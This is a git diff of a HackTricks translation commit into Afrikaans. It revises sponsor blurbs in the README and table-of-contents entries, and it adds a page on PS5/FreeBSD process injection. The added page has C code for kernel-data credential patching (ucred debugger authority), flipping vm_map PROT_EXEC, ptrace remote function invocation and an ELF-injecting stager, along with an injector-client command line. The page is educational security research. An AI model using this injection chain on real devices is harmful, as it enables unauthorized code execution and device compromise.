Translated ['src/hardware-physical-access/firmware-analysis/README.md',

src/README.md

@@ -2,9 +2,9 @@
 
 <figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
 
-_Hacktricks logo's & bewegingsontwerp deur_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
+_HackTricks-logo's en bewegingsontwerp deur_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
 
-### Voer HackTricks Plaaslik Uit
+### Voer HackTricks plaaslik uit
 ```bash
 # Download latest version of hacktricks
 git clone https://github.com/HackTricks-wiki/hacktricks
@@ -31,7 +31,7 @@ export LANG="master" # Leave master for english
 # Run the docker container indicating the path to the hacktricks folder
 docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
 ```
-Jou plaaslike kopie van HackTricks sal **beskikbaar wees by [http://localhost:3337](http://localhost:3337)** na <5 minute (dit moet die boek bou, wees geduldig).
+Jou plaaslike kopie van HackTricks sal binne <5 minute **beskikbaar by [http://localhost:3337](http://localhost:3337)** wees (dit moet die boek bou, wees geduldig).
 
 ## Korporatiewe Borge
 
@@ -39,11 +39,11 @@ Jou plaaslike kopie van HackTricks sal **beskikbaar wees by [http://localhost:33
 
 <figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
 
-[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheid maatskappy wie se leuse is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheid dienste** soos pentesting, Red teams en opleiding aan te bied.
+[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheid maatskappy met die slagspreuk **HACK THE UNHACKABLE**. Hulle doen eie navorsing en ontwikkel hul eie hacking tools om **verskeie waardevolle kuberveiligheidsdienste** aan te bied soos pentesting, Red teams en opleiding.
 
-Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com) nagaan.
+You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
 
-**STM Cyber** ondersteun ook kuberveiligheid open source projekte soos HackTricks :)
+**STM Cyber** ondersteun ook open source kuberveiligheidsprojekte soos HackTricks :)
 
 ---
 
@@ -51,7 +51,7 @@ Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com
 
 <figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
 
-[**RootedCON**](https://www.rootedcon.com) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
+[**RootedCON**](https://www.rootedcon.com) is die mees relevante kuberveiligheidsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie- en kuberveiligheidsprofessionals in alle dissiplines.
 
 {{#ref}}
 https://www.rootedcon.com/
@@ -63,9 +63,9 @@ https://www.rootedcon.com/
 
 <figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
 
-**Intigriti** is die **Europa se #1** etiese hacking en **bug bounty platform.**
+**Intigriti** is die **Europe's #1** ethical hacking en **bug bounty platform.**
 
-**Bug bounty wenk**: **meld aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om bounties tot **$100,000** te verdien!
+**Bug bounty tip**: **sign up** for **Intigriti**, 'n premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
 
 {{#ref}}
 https://go.intigriti.com/hacktricks
@@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
 <figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
 
 \
-Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik **werkvloei** te bou en te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskap gereedskap.
+Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik workflows te bou en te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** community tools.
 
-Kry Toegang Vandag:
+Get Access Today:
 
 {{#ref}}
 https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
@@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
 
 <figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
 
-Sluit by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener aan om met ervare hackers en bug bounty jagters te kommunikeer!
+Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
-- **Hacking Inligting:** Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
+- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking
-- **Regstydse Hack Nuus:** Bly op hoogte van die vinnig bewegende hacking wêreld deur regstydse nuus en insigte
+- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights
-- **Laaste Aankondigings:** Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
+- **Latest Announcements:** Bly ingelig oor die nuutste bug bounties wat van stapel gestuur word en belangrike platform-opdaterings
 
-**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
+**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 ---
 
-### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - Die noodsaaklike penetrasietoetsing gereedskapstel
+### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
 
 <figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
 
-**Kry 'n hacker se perspektief op jou web apps, netwerk, en wolk**
+**Kry 'n hacker se perspektief op jou web apps, netwerk, en cloud**
 
-**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
+**Vind en rapporteer kritieke, exploitable kwetsbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ custom tools om die aanvaloppervlak te kaart, sekuriteitskwessies te vind wat jou toelaat om privileges te eskaleer, en gebruik geautomatiseerde exploits om noodsaaklike bewyse in te samel, wat jou harde werk in oortuigende verslae omsit.
 
 {{#ref}}
 https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -120,22 +120,22 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
 
 <figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
 
-**SerpApi** bied vinnige en maklike regstydse API's om **toegang tot soekenjinresultate** te verkry. Hulle scrape soekenjins, hanteer proxies, los captchas op, en parse al die ryk gestruktureerde data vir jou.
+**SerpApi** bied vinnige en maklike real-time APIs om **toegang tot search engine results** te kry. Hulle scrape search engines, hanteer proxies, los captchas op, en parse alle ryk gestruktureerde data vir jou.
 
-'n Intekening op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir die scraping van verskillende soekenjins, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
+'n Intekening op een van SerpApi se planne sluit toegang in tot meer as 50 verskillende APIs vir die scraping van verskillende search engines, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
-In teenstelling met ander verskaffers, **scrape SerpApi nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennisgrafieke, en ander elemente en funksies wat in die soekresultate teenwoordig is, in.
+Anders as ander verskaffers, **SerpApi scrape nie net organic results nie**. SerpApi response sluit konsekwent alle ads, inline images en videos, knowledge graphs, en ander elemente en kenmerke aanwesig in die search results.
 
-Huidige SerpApi kliënte sluit **Apple, Shopify, en GrubHub** in.\
+Huidige SerpApi customers sluit in **Apple, Shopify, and GrubHub**.\
-Vir meer inligting, kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**\
+Vir meer inligting kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hulle [**playground**](https://serpapi.com/playground)**.**\
-Jy kan **'n gratis rekening skep** [**hier**](https://serpapi.com/users/sign_up)**.**
+Jy kan **'n gratis rekening skep** [**here**](https://serpapi.com/users/sign_up)**.**
 
 ---
 
-### [8kSec Academy – In-Diepte Mobiele Sekuriteit Kursusse](https://academy.8ksec.io/)
+### [8kSec Academy – In-Depth Mobile Security Courses](https://academy.8ksec.io/)
 
 <figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
 
-Leer die tegnologieë en vaardighede wat nodig is om kwesbaarheid navorsing, penetrasietoetsing, en omgekeerde ingenieurswese uit te voer om mobiele toepassings en toestelle te beskerm. **Meester iOS en Android sekuriteit** deur ons on-demand kursusse en **kry geakkrediteer**:
+Leer die tegnologieë en vaardighede nodig om vulnerability research, penetration testing, en reverse engineering uit te voer om mobiele toepassings en toestelle te beskerm. **Beheers iOS en Android security** deur ons on-demand kursusse en **kry gesertifiseer**:
 
 {{#ref}}
 https://academy.8ksec.io/
@@ -147,13 +147,13 @@ https://academy.8ksec.io/
 
 <figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
 
-[**WebSec**](https://websec.net) is 'n professionele kuberveiligheid maatskappy gebaseer in **Amsterdam** wat help om **besighede** **oor die wêreld** teen die nuutste kuberveiligheid bedreigings te beskerm deur **offensiewe-sekuriteit dienste** met 'n **moderne** benadering te bied.
+[**WebSec**](https://websec.net) is 'n professionele kuberveiligheidsmaatskappy gebaseer in **Amsterdam** wat help om **maatskappye regoor die wêreld** te beskerm teen die nuutste kuberveiligheidsbedreigings deur **offensive-security services** met 'n **moderne** benadering te lewer.
 
-WebSec is 'n internasionale sekuriteitsmaatskappy met kantore in Amsterdam en Wyoming. Hulle bied **alles-in-een sekuriteitsdienste** aan wat beteken dat hulle dit alles doen; Pentesting, **Sekuriteit** Oudit, Bewustheidsopleiding, Phishing Campagnes, Kode Hersiening, Eksploit Ontwikkeling, Sekuriteit Eksperte Uitsourcing en nog baie meer.
+WebSec is 'n internasionale security company met kantore in Amsterdam en Wyoming. Hulle bied **all-in-one security services** wat beteken hulle doen alles; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing en nog veel meer.
 
-Nog 'n interessante ding oor WebSec is dat, in teenstelling met die industrie gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.net/en/) en [**blog**](https://websec.net/blog/)!
+Nog 'n koel ding oor WebSec is dat, anders as die industrie-gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, soos op hulle webtuiste staan: "**If we can't hack it, You don't pay it!**". Vir meer inligting, kyk na hul [**website**](https://websec.net/en/) en [**blog**](https://websec.net/blog/)!
 
-Benewens die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
+Benewens bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
 
 {{#ref}}
 https://www.youtube.com/watch?v=Zq2JycGDCPM
@@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
 
 <figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
 
-[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) is 'n data breuk (leak) soekenjin. \
+[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) is 'n data breach (leak) search engine. \
-Ons bied random string soektog (soos google) oor alle tipes data breuke groot en klein --nie net die groot nie-- oor data van verskeie bronne. \
+Ons voorsien random string search (like google) oor alle tipes data leaks groot en klein --nie net die groot een nie-- oor data van veelvuldige bronne. \
-Mense soektog, KI soektog, organisasie soektog, API (OpenAPI) toegang, dieHarvester integrasie, al die funksies wat 'n pentester nodig het.\
+People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, all features a pentester needs.\
-**HackTricks bly 'n wonderlike leerplatform vir ons almal en ons is trots om dit te borg!**
+**HackTricks continues to be a great learning platform for us all and we're proud to be sponsoring it!**
 
 {{#ref}}
 https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -180,16 +180,14 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
 
 <figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
 
-**Gebou vir die veld. Gebou rondom jou.**\
+
-[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) ontwikkel en lewer effektiewe kuberveiligheid opleiding wat gebou en gelei word deur
+**Built for the field. Built around you.**\
-bedryf kenners. Hul programme gaan verder as teorie om spanne toe te rus met 'n diep
+[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) ontwikkel en lewer effektiewe kuberveiligheid opleiding wat gebou en gelei word deur industry experts. Hul programme gaan verder as teorie om spanne toe te rus met diep begrip en toepaslike vaardighede, deur custom omgewings te gebruik wat werklike wêreld dreigemente weerspieël. Vir persoonlike opleidingsnavrae, kontak ons [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
-begrip en uitvoerbare vaardighede, met behulp van pasgemaakte omgewings wat werklike
-bedreigings weerspieël. Vir pasgemaakte opleidingsnavrae, kontak ons [**hier**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
 
 **Wat hul opleiding onderskei:**
-* Pasgemaakte inhoud en laboratoriums
+* Custom-built inhoud en labs
-* Ondersteun deur top-graad gereedskap en platforms
+* Ondersteun deur top-tier tools en platforms
-* Ontwerp en geleer deur praktisyns
+* Ontwerp en aangebied deur praktisyns
 
 {{#ref}}
 https://cyberhelmets.com/courses/?ref=hacktricks
@@ -201,36 +199,51 @@ https://cyberhelmets.com/courses/?ref=hacktricks
 
 <figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
 
-Last Tower Solutions lewer gespesialiseerde kuberveiligheid dienste vir **Onderwys** en **FinTech**
+Last Tower Solutions lewer gespesialiseerde kuberveiligheidsdienste vir **Education** en **FinTech**
-instellings, met 'n fokus op **penetrasietoetsing, wolk sekuriteit assesserings**, en
+instellings, met 'n fokus op **penetration testing, cloud security assessments**, en
-**nakoming gereedheid** (SOC 2, PCI-DSS, NIST). Ons span sluit **OSCP en CISSP
+**compliance readiness** (SOC 2, PCI-DSS, NIST). Ons span sluit **OSCP and CISSP
-geakkrediteerde professionele in**, wat diep tegniese kundigheid en bedryfstandaard insig na
+certified professionals** in, wat diep tegniese kundigheid en industrie-standaard insigte bring na
-elke betrokkenheid bring.
+elke betrokkenheid.
 
-Ons gaan verder as geoutomatiseerde skanderings met **handmatige, intelligensie-gedrewe toetsing** wat aangepas is vir
+Ons gaan verder as geautomatiseerde skanderings met **handmatige, intelligence-driven testing** aangepas vir
-hoë-stakes omgewings. Van die beveiliging van studentrekords tot die beskerming van finansiële transaksies,
+hoë-ryks omgewings. Van die beveiliging van studenterekords tot die beskerming van finansiële transaksies,
-help ons organisasies om te verdedig wat die belangrikste is.
+ons help organisasies om te verdedig wat die meeste saak maak.
 
-_“'n Kwaliteit verdediging vereis om die aanval te ken, ons bied sekuriteit deur begrip.”_
+_“A quality defense requires knowing the offense, we provide security through understanding.”_
 
-Bly ingelig en op hoogte van die nuutste in kuberveiligheid deur ons [**blog**](https://www.lasttowersolutions.com/blog) te besoek.
+Bly ingelig en op datum met die nuutste in kuberveiligheid deur ons [**blog**](https://www.lasttowersolutions.com/blog) te besoek.
 
 {{#ref}}
 https://www.lasttowersolutions.com/
 {{#endref}}
 
+---
+
+### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
+
+<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
+
+K8Studio IDE bemagtig DevOps, DevSecOps, en developers om Kubernetes clusters doeltreffend te bestuur, te monitor, en te beveilig. Benut ons AI-driven insights, gevorderde security framework, en intuïtiewe CloudMaps GUI om jou clusters te visualiseer, hul toestand te verstaan, en met vertroue op te tree.
+
+Boonop is K8Studio **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
+
+{{#ref}}
+https://k8studio.io/
+{{#endref}}
+
+
 ---
 
 ## Lisensie & Vrywaring
 
-Kyk na hulle in:
+Kyk hulle in:
 
 {{#ref}}
 welcome/hacktricks-values-and-faq.md
 {{#endref}}
 
-## Github Statistieke
+## Github Stats
 
-![HackTricks Github Statistieke](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
+![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
 
 {{#include ./banners/hacktricks-training.md}}

src/SUMMARY.md

@@ -59,6 +59,7 @@
     - [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
     - [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
     - [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
+    - [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
     - [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
     - [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
     - [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
@@ -82,6 +83,7 @@
   - [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
 - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
 - [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
+  - [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
   - [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
 - [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
 
@@ -102,6 +104,7 @@
 
 # 🐧 Linux Hardening
 
+- [Linux Basics](linux-hardening/linux-basics.md)
 - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
 - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
   - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
@@ -570,6 +573,7 @@
 - [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
 - [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
 - [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
+- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
 - [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
 - [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
 - [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
@@ -587,6 +591,7 @@
   - [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
   - [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
   - [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
+  - [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
 - [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
 - [Captcha Bypass](pentesting-web/captcha-bypass.md)
 - [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
@@ -843,6 +848,7 @@
   - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
 - [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
+- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
 - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
 - [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
   - [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)

src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md

@@ -0,0 +1,183 @@
+# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 gevalstudie)
+
+{{#include ../banners/hacktricks-training.md}}
+
+## Oorsig
+
+Hierdie bladsy dokumenteer 'n praktiese Unix/BSD usermode process/ELF injection technique op PlayStation 5 (PS5), wat gebaseer is op FreeBSD. Die metode generaliseer na FreeBSD-afgeleides as jy reeds kernel read/write (R/W) primitives het. Hoëvlak:
+
+- Patcheer die huidige proses-credentials (ucred) om debugger-owerheid toe te ken, wat ptrace/mdbg op arbitrêre gebruikerprosesse moontlik maak.
+- Vind teikenprosesse deur die kernel allproc-lys te deursoek.
+- Om PROT_EXEC-beperkings te omseil deur vm_map_entry.protection |= PROT_EXEC in die teiken se vm_map te skryf met kernel data-skrywe.
+- Gebruik ptrace om Remote Function Invocation (RFI) uit te voer: skors 'n thread, stel registers om arbitrêre funksies binne die teiken aan te roep, hervat, versamel terugkeerwaardes, en herstel toestand.
+- Map en voer arbitrêre ELF-payloads binne die teiken uit met 'n in-process ELF loader, en spawn dan 'n toegewyde thread wat jou payload uitvoer en 'n breakpoint trigger om skoon te detach.
+
+PS5 hypervisor-mitigasies om op te let (gekontekstualiseer vir hierdie tegniek):
+- XOM (execute-only .text) verhoed lees/skryf van kernel .text.
+- Die leëmaak van CR0.WP of die deaktiveer van CR4.SMEP veroorsaak 'n hypervisor vmexit (crash). Net data-only kernel-skrewe is lewensvatbaar.
+- Userland mmap is standaard beperk tot PROT_READ|PROT_WRITE. Om PROT_EXEC toe te ken moet gedoen word deur vm_map inskrywings in kernel-geheue te wysig.
+
+Hierdie tegniek is post-exploitation: dit veronderstel kernel R/W primitives vanaf 'n exploit chain. Publieke payloads demonstreer dit tot firmware 10.01 ten tyde van skryf.
+
+## Kernel data-only primitiewe
+
+### Prosesontdekking via allproc
+
+FreeBSD onderhou 'n dubbelsgekoppelde lys van prosesse in die kernel .data by allproc. Met 'n kernel read primitive, deurloop dit om prosesname en PIDs te lokaliseer:
+```c
+struct proc* find_proc_by_name(const char* proc_name){
+uint64_t next = 0;
+kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
+struct proc* proc = malloc(sizeof(struct proc));
+do{
+kernel_copyout(next, (void*)proc, sizeof(struct proc));       // read entry
+if (!strcmp(proc->p_comm, proc_name)) return proc;
+kernel_copyout(next, &next, sizeof(uint64_t));                // advance next
+} while (next);
+free(proc);
+return NULL;
+}
+
+void list_all_proc_and_pid(){
+uint64_t next = 0;
+kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
+struct proc* proc = malloc(sizeof(struct proc));
+do{
+kernel_copyout(next, (void*)proc, sizeof(struct proc));
+printf("%s - %d\n", proc->p_comm, proc->pid);
+kernel_copyout(next, &next, sizeof(uint64_t));
+} while (next);
+free(proc);
+}
+```
+Aantekeninge:
+- KERNEL_ADDRESS_ALLPROC is firmware-afhanklik.
+- p_comm is 'n vasgrootte-naam; oorweeg pid->proc-opsoeke indien nodig.
+
+### Verhoog toegangsregte vir debugging (ucred)
+
+Op PS5, struct ucred bevat 'n Authority ID-veld wat bereikbaar is via proc->p_ucred. Deur die debugger Authority ID te skryf, verleen dit ptrace/mdbg oor ander prosesse:
+```c
+void set_ucred_to_debugger(){
+struct proc* proc = get_proc_by_pid(getpid());
+if (proc){
+uintptr_t authid = 0; // read current (optional)
+uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
+kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
+kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
+free(proc);
+}
+}
+```
+- Offset 0x58 is spesifiek vir die PS5 firmware-familie en moet per weergawe geverifieer word.
+- Na hierdie write kan die injector aanheg en gebruikersprosesse instrumenteer via ptrace/mdbg.
+
+## Omseil van RW-only user mappings: vm_map PROT_EXEC flip
+
+Userland mmap mag beperk wees tot PROT_READ|PROT_WRITE. FreeBSD volg 'n proses se adresruimte in 'n vm_map bestaande uit vm_map_entry nodes (BST plus lys). Elke entry bevat die protection en max_protection fields:
+```c
+struct vm_map_entry {
+struct vm_map_entry *prev,*next,*left,*right;
+vm_offset_t start, end, avail_ssize;
+vm_size_t adj_free, max_free;
+union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
+vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
+int wired_count; vm_pindex_t lastr;
+};
+```
+Met kernel R/W kan jy die teiken se vm_map opspoor en entry->protection |= PROT_EXEC stel (en, indien nodig, entry->max_protection). Praktiese implementasie-opmerkings:
+- Walk entries either linearly via next or using the balanced-tree (left/right) for O(log n) search by address range.
+- Kies 'n bekende RW-streek wat jy beheer (scratch buffer of mapped file) en voeg PROT_EXEC by sodat jy code of loader thunks kan plaas.
+- PS5 SDK-kode bied helpers vir vinnige map-entry lookup en omskakeling van protections.
+
+Dit omseil userland se mmap-beleid deur kernel-owned metadata direk te wysig.
+
+## Remote Function Invocation (RFI) met ptrace
+
+FreeBSD het nie Windows-style VirtualAllocEx/CreateRemoteThread nie. In plaas daarvan, laat die teiken funksies op homself aanroep onder ptrace-kontrole:
+
+1. Attach to the target and select a thread; PTRACE_ATTACH or PS5-specific mdbg flows may apply.
+2. Save thread context: registers, PC, SP, flags.
+3. Write argument registers per the ABI (x86_64 SysV or arm64 AAPCS64), set PC to the target function, and optionally place additional args/stack as needed.
+4. Single-step or continue until a controlled stop (e.g., software breakpoint or signal), then read back return values from regs.
+5. Restore original context and continue.
+
+Gebruikgevalle:
+- Roep 'n in-proses ELF loader aan (e.g., elfldr_load) met 'n pointer na jou ELF image in die teiken se geheue.
+- Roep helper routines aan om teruggegewe entrypoints en payload-args pointers te haal.
+
+Example of driving the ELF loader:
+```c
+intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
+intptr_t args  = elfldr_payload_args(target_pid);
+printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
+```
+Die loader maps segments, resolves imports, applies relocations en gee die entry terug (dikwels 'n CRT bootstrap) plus 'n opaque payload_args pointer wat jou stager aan die payload’s main() deurgee.
+
+## Threaded stager en netjiese detach
+
+’n minimale stager binne die target skep ’n nuwe pthread wat die ELF’s main uitvoer en dan int3 trigger om die injector te sein om te detach:
+```c
+int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
+pthread_t thread;
+functions->pthread_create_ptr(&thread, 0,
+(void*(*)(void*))functions->elf_main, functions->payload_args);
+asm("int3");
+return 0;
+}
+```
+- Die SCEFunctions/payload_args pointers word verskaf deur die loader/SDK glue.
+- Na die breakpoint en detach gaan die payload voort in sy eie thread.
+
+## Eind-tot-eind pyplyn (PS5 verwysingsimplementering)
+
+'n Werkende implementering word gelewer as 'n klein TCP injector-server plus 'n kliëntskrip:
+
+- NineS-server luister op TCP 9033 en ontvang 'n header wat die doelprosesnaam bevat, gevolg deur die ELF image:
+```c
+typedef struct __injector_data_t{
+char       proc_name[MAX_PROC_NAME];
+Elf64_Ehdr elf_header;
+} injector_data_t;
+```
+- Gebruik van Python-kliënt:
+```bash
+python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
